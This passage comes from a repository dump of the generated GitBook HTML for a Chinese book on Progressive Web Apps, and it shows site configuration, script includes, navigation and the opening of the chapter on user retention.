网络推送\",\"level\":\"1.7.4\",\"depth\":2,\"path\":\"chapter06/4-web-push-api.md\",\"ref\":\"chapter06/4-web-push-api.md\",\"articles\":[]},\"dir\":\"ltr\"},\"config\":{\"plugins\":[\"-lunr\",\"-search\",\"anchors\",\"search-plus\",\"-livereload\",\"simple-page-toc\",\"prism\",\"prism-themes\",\"-highlight\",\"advanced-emoji\",\"include-codeblock\",\"-sharing\",\"sharing-plus\",\"ace\",\"emphasize\",\"splitter\",\"page-footer-ex\",\"expandable-chapters-small\",\"sectionx\",\"local-video\",\"anchor-navigation-ex\",\"favicon\",\"todo\",\"edit-link\",\"3-ba\",\"chart\",\"disqus\",\"github\"],\"root\":\".\",\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"pluginsConfig\":{\"prism\":{\"css\":[\"prismjs/themes/prism-okaidia.css\"]},\"disqus\":{\"useIdentifier\":false,\"shortName\":\"lavas-project-github-io\"},\"emphasize\":{},\"ace\":{},\"github\":{\"url\":\"https://github.com/lavas-project/pwa-book\"},\"simple-page-toc\":{},\"todo\":{},\"page-footer-ex\":{\"copyright\":\"Copyright ©2019 [百度 Web 生态团队](https://github.com/lavas-project) <br/>   [![知识共享许可协议](https://i.creativecommons.org/l/by-nc-nd/4.0/80x15.png)](http://creativecommons.org/licenses/by-nc-nd/4.0/) 本书采用 [知识共享署名-非商业性使用 4.0 国际许可协议](http://creativecommons.org/licenses/by-nc-nd/4.0/) 进行许可。<br/>    本书仍在勘误阶段，请勿以任何形式私自传播，我们保留对本书的版权\",\"markdown\":true,\"update_format\":\"YYYY-MM-DD HH:mm:ss\",\"update_label\":\"该文件修订时间：\"},\"splitter\":{},\"sharing-plus\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\"],\"douban\":false,\"facebook\":true,\"weibo\":false,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":true,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":true,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":false},\"fontsettings\":{\"theme\":\"white\",\"family\":\"sans\",\"size\":2},\"sectionx\":{\"tag\":\"b\"},\"anchor-navigation-ex\":{\"mode\":\"float\",\"pageTop\":{\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false},\"isRewritePageTitle\":false,\"showLevel\":false,\"tocLevel1Icon\":\"fa fa-hand-o-right\",\"tocLevel2Icon\":\"fa fa-hand-o-right\",\"tocLevel3Icon\":\"fa fa-hand-o-right\",\"showGoTop\":true,\"printLog\":false,\"multipleH1\":true,\"associatedWithSummary\":true,\"float\":{\"floatIcon\":\"fa fa-navicon\",\"level1Icon\":\"\",\"level2Icon\":\"\",\"level3Icon\":\"\",\"showLevelIcon\":false}},\"favicon\":{\"shortcut\":\"favicon.ico\",\"bookmark\":\"favicon.ico\"},\"prism-themes\":{},\"3-ba\":{\"configuration\":\"auto\",\"token\":\"c45e843439f6364ead89fd505f1abb68\"},\"expandable-chapters-small\":{},\"local-video\":{},\"advanced-emoji\":{\"embedEmojis\":false},\"include-codeblock\":{\"check\":false,\"edit\":true,\"fixlang\":false,\"lang\":\"\",\"template\":\"ace\",\"theme\":\"chrome\",\"unindent\":true},\"sharing\":{\"qq\":false,\"all\":[\"facebook\",\"google\",\"twitter\",\"weibo\",\"instapaper\",\"linkedin\",\"pocket\",\"stumbleupon\",\"qq\",\"qzone\"],\"douban\":true,\"facebook\":false,\"weibo\":true,\"instapaper\":false,\"whatsapp\":false,\"hatenaBookmark\":false,\"twitter\":false,\"messenger\":false,\"line\":false,\"vk\":false,\"pocket\":false,\"google\":false,\"viber\":false,\"stumbleupon\":false,\"qzone\":false,\"linkedin\":true},\"terminal\":{\"copyButtons\":true,\"fade\":false,\"style\":\"flat\"},\"edit-link\":{\"label\":\"编辑此页\",\"base\":\"https://github.com/lavas-project/pwa-book/edit/master\"},\"theme-default\":{\"styles\":{\"website\":\"styles/website.css\",\"pdf\":\"styles/pdf.css\",\"epub\":\"styles/epub.css\",\"mobi\":\"styles/mobi.css\",\"ebook\":\"styles/ebook.css\",\"print\":\"styles/print.css\"},\"showLevel\":false},\"anchors\":{},\"chart\":{\"type\":\"c3\"},\"search-plus\":{}},\"theme\":\"default\",\"author\":\"lavas <lavas@baidu.com>\",\"pdf\":{\"pageNumbers\":true,\"fontSize\":12,\"fontFamily\":\"Arial\",\"paperSize\":\"a4\",\"chapterMark\":\"pagebreak\",\"pageBreaksBefore\":\"/\",\"margin\":{\"right\":62,\"left\":62,\"top\":56,\"bottom\":56}},\"structure\":{\"langs\":\"LANGS.md\",\"readme\":\"README.md\",\"glossary\":\"GLOSSARY.md\",\"summary\":\"SUMMARY.md\"},\"variables\":{},\"title\":\"PWA 应用实战\",\"language\":\"zh-hans\",\"gitbook\":\"3.2.3\",\"description\":\"PWA 开发实战\"},\"file\":{\"path\":\"chapter06/5-payment-request-api.md\",\"mtime\":\"2019-06-19T10:37:42.263Z\",\"type\":\"markdown\"},\"gitbook\":{\"version\":\"3.2.3\",\"time\":\"2019-06-19T10:40:03.787Z\"},\"basePath\":\"..\",\"book\":{\"language\":\"\"}});\n        });\n    </script>\n</div>\n\n        \n    <script src=\"../gitbook/gitbook.js\"></script>\n    <script src=\"../gitbook/theme.js\"></script>\n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/jquery.mark.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-search-plus/search.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sharing-plus/buttons.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-ace/ace.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-splitter/splitter.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.js\"></script>\n        \n    \n        \n        <script src=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-sectionx/sectionx.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-local-video/video.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-edit-link/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-3-ba/plugin.js\"></script>\n        \n    \n        \n        <script src=\"https://cdnjs.cloudflare.com/ajax/libs/URI.js/1.16.1/URI.min.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-disqus/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-github/plugin.js\"></script>\n        \n    \n        \n        <script src=\"../gitbook/gitbook-plugin-fontsettings/fontsettings.js\"></script>\n        \n    \n\n    </body>\n</html>\n\n"
  },
  {
    "path": "docs/chapter06.html",
    "content": "\n<!DOCTYPE HTML>\n<html lang=\"zh-hans\" >\n    <head>\n        <meta charset=\"UTF-8\">\n        <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\">\n        <title>第6章 用户留存 · PWA 应用实战</title>\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\" />\n        <meta name=\"description\" content=\"\">\n        <meta name=\"generator\" content=\"GitBook 3.2.3\">\n        <meta name=\"author\" content=\"lavas <lavas@baidu.com>\">\n        \n        \n    \n    <link rel=\"stylesheet\" href=\"gitbook/style.css\">\n\n    \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchors/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-search-plus/search.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-prism/prism-okaidia.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-advanced-emoji/emoji-website.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-ace/ace.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-emphasize/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-splitter/splitter.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-page-footer-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-expandable-chapters-small/expandable-chapters-small.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-sectionx/sectionx.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-local-video/video-js.min.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-anchor-navigation-ex/style/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-disqus/plugin.css\">\n                \n            \n                \n                <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-fontsettings/website.css\">\n                \n            \n        \n\n    \n\n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n        \n    \n\n        \n    \n    \n    \n    \n    <meta name=\"HandheldFriendly\" content=\"true\"/>\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, user-scalable=no\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black\">\n    <link rel=\"apple-touch-icon-precomposed\" sizes=\"152x152\" href=\"gitbook/images/apple-touch-icon-precomposed-152.png\">\n    <link rel=\"shortcut icon\" href=\"gitbook/images/favicon.ico\" type=\"image/x-icon\">\n\n    \n    <link rel=\"next\" href=\"chapter06/1-manifest-json.html\" />\n    \n    \n    <link rel=\"prev\" href=\"chapter05/5-workbox.html\" />\n    \n\n    \n    <link rel=\"stylesheet\" href=\"gitbook/gitbook-plugin-chart/c3/c3.min.css\">\n    <script src=\"gitbook/gitbook-plugin-chart/c3/d3.min.js\"></script>\n    <script src=\"gitbook/gitbook-plugin-chart/c3/c3.min.js\"></script>\n    \n\n    \n        <link rel=\"shortcut icon\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n        <link rel=\"bookmark\" href='favicon.ico' type=\"image/x-icon\">\n    \n    \n    \n\n    </head>\n    <body>\n        \n<div class=\"book\">\n    <div class=\"book-summary\">\n        \n            \n<div id=\"book-search-input\" role=\"search\">\n    <input type=\"text\" placeholder=\"输入并搜索\" />\n</div>\n\n            \n                <nav role=\"navigation\">\n                \n\n\n<ul class=\"summary\">\n    \n    \n\n    \n\n    \n        \n        \n    \n        <li class=\"chapter \" data-level=\"1.1\" data-path=\"./\">\n            \n                <a href=\"./\">\n            \n                    \n                    HOME\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2\" data-path=\"chapter01.html\">\n            \n                <a href=\"chapter01.html\">\n            \n                    \n                    第1章 PWA 介绍\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.2.1\" data-path=\"chapter01/1-how-was-pwa-born.html\">\n            \n                <a href=\"chapter01/1-how-was-pwa-born.html\">\n            \n                    \n                    1.1 为什么会出现 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.2\" data-path=\"chapter01/2-what-is-pwa.html\">\n            \n                <a href=\"chapter01/2-what-is-pwa.html\">\n            \n                    \n                    1.2 什么是 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.3\" data-path=\"chapter01/3-what-are-key-techs.html\">\n            \n                <a href=\"chapter01/3-what-are-key-techs.html\">\n            \n                    \n                    1.3 PWA 的核心技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.4\" data-path=\"chapter01/4-how-is-pwa-going.html\">\n            \n                <a href=\"chapter01/4-how-is-pwa-going.html\">\n            \n                    \n                    1.4 PWA 的发展\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.5\" data-path=\"chapter01/5-the-future-of-pwa.html\">\n            \n                <a href=\"chapter01/5-the-future-of-pwa.html\">\n            \n                    \n                    1.5 PWA 的未来\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.2.6\" data-path=\"chapter01/6-your-first-pwa.html\">\n            \n                <a href=\"chapter01/6-your-first-pwa.html\">\n            \n                    \n                    1.6 你的第一个 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3\" data-path=\"chapter02.html\">\n            \n                <a href=\"chapter02.html\">\n            \n                    \n                    第2章 设计与体验\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.3.1\" data-path=\"chapter02/1-what-is-good-ux.html\">\n            \n                <a href=\"chapter02/1-what-is-good-ux.html\">\n            \n                    \n                    2.1 什么是好的用户体验\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.2\" data-path=\"chapter02/2-design-and-tech.html\">\n            \n                <a href=\"chapter02/2-design-and-tech.html\">\n            \n                    \n                    2.2 设计与技术\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.3\" data-path=\"chapter02/3-app-shell.html\">\n            \n                <a href=\"chapter02/3-app-shell.html\">\n            \n                    \n                    2.3 App Shell\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.4\" data-path=\"chapter02/4-app-skeleton.html\">\n            \n                <a href=\"chapter02/4-app-skeleton.html\">\n            \n                    \n                    2.4 骨架屏\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.3.5\" data-path=\"chapter02/5-responsive-design.html\">\n            \n                <a href=\"chapter02/5-responsive-design.html\">\n            \n                    \n                    2.5 响应式布局\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4\" data-path=\"chapter03.html\">\n            \n                <a href=\"chapter03.html\">\n            \n                    \n                    第3章 基础技术简介\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.4.1\" data-path=\"chapter03/1-promise.html\">\n            \n                <a href=\"chapter03/1-promise.html\">\n            \n                    \n                    3.1 Promise\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.2\" data-path=\"chapter03/2-async-function.html\">\n            \n                <a href=\"chapter03/2-async-function.html\">\n            \n                    \n                    3.2 Async 函数\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.3\" data-path=\"chapter03/3-fetch-api.html\">\n            \n                <a href=\"chapter03/3-fetch-api.html\">\n            \n                    \n                    3.3 Fetch API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.4\" data-path=\"chapter03/4-cache-api.html\">\n            \n                <a href=\"chapter03/4-cache-api.html\">\n            \n                    \n                    3.4 Cache API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.4.5\" data-path=\"chapter03/5-indexeddb.html\">\n            \n                <a href=\"chapter03/5-indexeddb.html\">\n            \n                    \n                    3.5 IndexedDB\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5\" data-path=\"chapter04.html\">\n            \n                <a href=\"chapter04.html\">\n            \n                    \n                    第4章 Service Worker\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.5.1\" data-path=\"chapter04/1-service-worker-introduction.html\">\n            \n                <a href=\"chapter04/1-service-worker-introduction.html\">\n            \n                    \n                    4.1 Service Worker 简介\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.2\" data-path=\"chapter04/2-service-worker-register.html\">\n            \n                <a href=\"chapter04/2-service-worker-register.html\">\n            \n                    \n                    4.2 Service Worker 注册\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.3\" data-path=\"chapter04/3-service-worker-dive.html\">\n            \n                <a href=\"chapter04/3-service-worker-dive.html\">\n            \n                    \n                    4.3 Service Worker 工作原理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"chapter05.html\">\n            \n                <a href=\"chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"chapter05/2-local-storage-management.html\">\n            \n                <a href=\"chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"chapter05/3-respond-strategy.html\">\n            \n                <a href=\"chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"chapter05/4-precache.html\">\n            \n                <a href=\"chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"chapter05/5-workbox.html\">\n            \n                <a href=\"chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter active\" data-level=\"1.7\" data-path=\"chapter06.html\">\n            \n                <a href=\"chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.7.1\" data-path=\"chapter06/1-manifest-json.html\">\n            \n                <a href=\"chapter06/1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"chapter06/2-credentials-api.html\">\n            \n                <a href=\"chapter06/2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"chapter06/3-notification-api.html\">\n            \n                <a href=\"chapter06/3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"chapter06/4-web-push-api.html\">\n            \n                <a href=\"chapter06/4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"chapter06/5-payment-request-api.html\">\n            \n                <a href=\"chapter06/5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"chapter07.html\">\n            \n                <a href=\"chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"chapter07/1-https.html\">\n            \n                <a href=\"chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"chapter07/2-CSP.html\">\n            \n                <a href=\"chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"chapter07/3-policy.html\">\n            \n                <a href=\"chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"chapter07/4-vulnerability.html\">\n            \n                <a href=\"chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"chapter08.html\">\n            \n                <a href=\"chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"chapter08/1-loading-performance.html\">\n            \n                <a href=\"chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"chapter08/2-rendering-performance.html\">\n            \n                <a href=\"chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"chapter09.html\">\n            \n                <a href=\"chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"chapter09/1-search-engine-index.html\">\n            \n                <a href=\"chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"chapter09/4-preload-pwa.html\">\n            \n                <a href=\"chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"appendix01.html\">\n            \n                <a href=\"appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"appendix01/1-lighthouse.html\">\n            \n                <a href=\"appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"thanks.html\">\n            \n                <a href=\"thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\".\" >第6章 用户留存</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#&#x7528;&#x6237;&#x5B58;&#x7559;\"><b></b>&#x7528;&#x6237;&#x5B58;&#x7559;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;\"><b></b>&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x51ED;&#x8BC1;&#x7BA1;&#x7406;\"><b></b>&#x51ED;&#x8BC1;&#x7BA1;&#x7406;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x684C;&#x9762;&#x901A;&#x77E5;\"><b></b>&#x684C;&#x9762;&#x901A;&#x77E5;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x6D88;&#x606F;&#x63A8;&#x9001;\"><b></b>&#x6D88;&#x606F;&#x63A8;&#x9001;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x652F;&#x4ED8;&#x65B9;&#x6CD5;\"><b></b>&#x652F;&#x4ED8;&#x65B9;&#x6CD5;</a></li></ul></ul></div><a href=\"#&#x7528;&#x6237;&#x5B58;&#x7559;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"&#x7528;&#x6237;&#x5B58;&#x7559;\"><a name=\"&#x7528;&#x6237;&#x5B58;&#x7559;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x7528;&#x6237;&#x5B58;&#x7559;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x7528;&#x6237;&#x5B58;&#x7559;\" class=\"plugin-anchor\" href=\"#&#x7528;&#x6237;&#x5B58;&#x7559;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x7528;&#x6237;&#x5B58;&#x7559;</h1>\n<p>&#x7528;&#x6237;&#x5B58;&#x7559;&#x4E00;&#x76F4;&#x662F;&#x7F51;&#x7AD9;&#x5E94;&#x7528;&#x4FDD;&#x6301;&#x6D3B;&#x8DC3;&#x5EA6;&#x7684;&#x4E00;&#x9879;&#x91CD;&#x5927;&#x8BFE;&#x9898;&#x3002;&#x901A;&#x8FC7;&#x81EA;&#x8EAB;&#x8FC7;&#x786C;&#x7684;&#x54C1;&#x8D28;&#x548C;&#x9002;&#x5F53;&#x7684;&#x8425;&#x9500;&#x624B;&#x6BB5;&#x5438;&#x5F15;&#x5230;&#x7528;&#x6237;&#x4E4B;&#x540E;&#xFF0C;PWA &#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x7CFB;&#x5217;&#x65B9;&#x6CD5;&#x6765;&#x63D0;&#x9AD8;&#x7F51;&#x7AD9;&#x5438;&#x5F15;&#x529B;&#xFF0C;&#x589E;&#x52A0;&#x7F51;&#x7AD9;&#x4E0E;&#x7528;&#x6237;&#x7684;&#x4E92;&#x52A8;&#x6027;&#x7B49;&#x7B49;&#xFF0C;&#x8FBE;&#x5230;&#x63D0;&#x9AD8;&#x7528;&#x6237;&#x7559;&#x5B58;&#x7387;&#x7684;&#x76EE;&#x7684;&#x3002;</p>\n<h2 id=\"&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;\"><a name=\"&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;\" 